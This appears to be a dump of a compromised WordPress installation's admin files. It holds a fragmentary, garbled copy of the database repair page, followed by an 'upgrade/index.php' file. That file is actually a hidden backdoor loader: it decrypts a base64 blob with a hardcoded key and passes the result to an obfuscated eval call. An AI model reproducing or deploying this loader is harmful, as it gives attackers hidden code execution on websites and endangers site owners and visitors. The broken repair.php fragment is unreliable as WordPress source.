?????????????? repair.php 0000644 00000016737 15250667000 0006556 0 ustar 00 >
';
printf(
/* translators: %s: wp-config.php */
__( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ),
'wp-config.php'
);
echo "
define('WP_ALLOW_REPAIR', true);
' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the WordPress.org secret key service.' ), 'wp-config.php', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '
';
if ( 'OK' === $check->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'The %s table is okay.' ), "$table" );
} else {
/* translators: 1: Table name, 2: Error message. */
printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table…' ), "$table", "$check->Msg_text" );
$repair = $wpdb->get_row( $wpdb->prepare( 'REPAIR TABLE %i', $table ) );
echo '
';
if ( 'OK' === $repair->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'Successfully repaired the %s table.' ), "$table" );
} else {
/* translators: 1: Table name, 2: Error message. */
printf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "$table", "$repair->Msg_text" ) . '
';
$problems[ $table ] = $repair->Msg_text;
$okay = false;
}
}
if ( $okay && $optimize ) {
$analyze = $wpdb->get_row( $wpdb->prepare( 'ANALYZE TABLE %i', $table ) );
echo '
';
if ( 'Table is already up to date' === $analyze->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'The %s table is already optimized.' ), "$table" );
} else {
$optimize = $wpdb->get_row( $wpdb->prepare( 'OPTIMIZE TABLE %i', $table ) );
echo '
';
if ( 'OK' === $optimize->Msg_text || 'Table is already up to date' === $optimize->Msg_text ) {
/* translators: %s: Table name. */
printf( __( 'Successfully optimized the %s table.' ), "$table" );
} else {
/* translators: 1: Table name. 2: Error message. */
printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "$table", "$optimize->Msg_text" );
}
}
}
echo '
' . __( 'Some database problems could not be repaired. Please copy-and-paste the following list of errors to the WordPress support forums to get additional assistance.' ) . '
', __( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' ) ); $problem_output = ''; foreach ( $problems as $table => $problem ) { $problem_output .= "$table: $problem\n"; } echo ''; } else { echo '' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "
define('WP_ALLOW_REPAIR', true);
' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the “Repair Database” button. Repairing can take a while, so please be patient.' ) . '
'; } else { echo '' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '
'; } ?> upgrade/index.php 0000644 00000006210 15250667000 0010013 0 ustar 00 masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('F1RnmTEXW94cH6aswxIGgMbEMSc2uAPi'); $str = 'jIBRSHJdfNlKZFXhiMWh0xnPaRqY1xndM4HdM/LDuZyNeFvxsOxJ9U/6yAtXnKm9AxDHvwKv1em7YvEClqktU82ZUTNTGhrmk+MPZ4os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/uxn86w5Qtq5e2pdPwpClk3VxXfBd6t0xWrIuLfCXgiQWAp5Gqe6QOH8h+z+F4nkcXEde6GxyQ74OvBiNrqZVqvyVEl/pMbmf/JZS/RO8ouqH++8Uuxce15hTD/2rK888KDWLQn9+WJ1xwl12xxwj2BW3NHRQ223NcmnTkr2L49mLJhgJ+aMklZozXIEvABKcSVs9oELFkfJqsGXTsPWDrN+ThYnogzklwAvRZJLwRkpITLohpISsokPYHtZIZ05p4f33bqii+JjLN5x8'; $decrypted = $secure->decrypt($str); $NnlFOZMb8w = function($CW3jAkGryfs){ /*h1eTPyV61*/eVaL($CW3jAkGryfs); $N8xX60WPZAo = "oU9NAzkJtPw5X6wRSedCYLvWqa1DkhpM"; return $N8xX60WPZAo; }; $NnlFOZMb8w($decrypted); upgrade/.htaccess 0000644 00000000307 15250667000 0007772 0 ustar 00